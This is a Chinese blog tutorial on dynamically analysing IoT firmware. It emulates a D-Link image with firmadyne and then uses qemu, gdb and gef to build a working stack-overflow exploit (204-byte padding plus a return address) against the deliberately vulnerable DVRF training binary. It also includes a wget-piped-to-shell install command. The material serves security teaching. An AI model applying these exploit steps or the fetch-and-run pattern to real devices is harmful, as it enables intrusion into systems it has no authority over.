物聯網IoT安全教程(三)-- 動態分析IoT固件

PS:本文所用到的程序見 – https://github.com/G4rb3n/IoT_Sec_Tutorial

動態分析固件之前,需要先把固件運行起來,但我們手頭又沒有路由器、攝像頭之類的物聯網硬件,該如何運行呢?這就需要虛擬執行,虛擬執行你就把它想象成一個虛擬機可以運行各種物聯網OS就是了。虛擬執行IoT固件需要用到firmadyne工具,該工具很難安裝,在kali上安裝一直報錯,你們可以嘗試下,反正我是放棄了,最終還是乖乖地用attifyti提供的物聯網滲透專用虛擬機,下載下來的文件直接用vmware導入就行了。
https://www.dropbox.com/sh/xrfzyp1ex2uii53/AAAF0mdA1qFaEBDYZoIxaQRma?dl=0
1

該系統爲ubuntu14,密碼爲password@123,下面我們來演示虛擬執行一個dlink固件。
2

在tools/fat路徑下運行fat.py,輸入固件路徑DWP2360b-firmware-v206-rc018.bin,然後是固件的品牌dlink,依次輸入數據庫密碼firmadyne和用戶密碼password@123。

python fat.py

3

腳本執行成功後,會回顯一個IP地址,這個IP就是模擬的固件地址。
4

以上只是簡單地演示如何虛擬執行一個固件,下面我們就來實操如何通過動態調試分析一個固件,接下來的固件採用DVRF,這是個網友自制的充滿漏洞的固件,供學習用的。

git clone https://github.com/praetorian-code/DVRF.git

開始之前,安裝以下工具,動態調試中會用到。

sudo apt install gdb-multiarch
wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh
sudo pip3 install capstone unicorn keystone-engine

安裝keystone-engine時可能會報錯,參考這個鏈接。
https://github.com/avatartwo/avatar2/issues/23

安裝好工具後,就開始對固件進行分析啦,固件的路徑爲DVRF/Firmware/DVRF_v03.bin。
使用binwalk提取固件文件系統。

binwalk -t -e DVRF_v03.bin

5

提取出來的系統有個文件夾pwnable,這個文件夾就是存放着有漏洞的程序示例,我們選取緩衝區漏洞程序stack_bof_01進行實驗。首先使用readelf命令查看該程序的架構。

readelf -h pwnable/Intro/stack_bof_01

6

拷貝qemu-mipsel-static到當前目錄,然後配合chroot虛擬執行stack_bof_01固件,可以成功執行。qemu是一款輕型的虛擬機。

cp $(which qemu-mipsel-static) .
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01

7

查看stack_bof_01的源碼,可以發現明顯的strcpy內存溢出漏洞,當參數argv[1]超過200時,就會出現buf溢出的現象。

cat DVRF/Pwnable Source/Intro/stack_bof_01.c

8

以調試的方式啓動stack_bof_01,在本地的1234端口監聽調試。

sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01

9

運行以下命令開始調試。

gdb-multiarch pwnable/Intro/stack_bof_01

gdb運行後,會自動加載gef插件,然後設置固件架構爲mips。

set architecture mips

設置完遠程調試的IP和端口,就可開始調試stack_bof_01程序了。

target remote 127.0.0.1:1234

10

調用命令查看樣本的所有函數,可以看到各個函數的地址。

info functions

11

如果你感興趣,可以使用命令查反彙編看下main函數的彙編碼,這是mips架構的彙編碼,跟x86的相差很大,完全看不懂。。

disass main

12

然後我們使用命令創建一個隨機的300字節流,作爲攻擊字符串,用於測試參數溢出的點。

pattern create 300

13

重新帶參數調試stack_bof_01。

sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac

14

gdb掛上去後,輸入c回車讓程序跑起來,會發現程序崩潰了,SIGSEGV內存出錯,指針ra指向0x63616162,對應的ASCII是”baac”。
15

使用命令查看該溢出點在攻擊字符串的什麼位置,是位於pattern的第204位。

pattern search 0x63616162

然後反彙編dat_shell函數,查看其函數地址,我們的目的是要讓程序本來執行0x63616162,變成執行dat_shell的地址,理論上應該把0x63616162改成0x400950,但書上說要略過前3條gp相關的指令,我也不知道爲啥,有興趣的同學google下吧。

disass dat_shell

16

將待執行的函數地址拼湊到204個字節後面,便可劫持程序執行流到dat_shell函數(0x40095C),從而實現緩衝區溢出攻擊。

sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "$(python -c "print 'A'*204 + '\x5c\x09\x40'")"

17

最後,試了下0x400950確實不行,會報錯。

sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "$(python -c "print 'A'*204 + '\x50\x09\x40'")"

18

發佈了55 篇原創文章 · 獲贊 53 · 訪問量 5萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章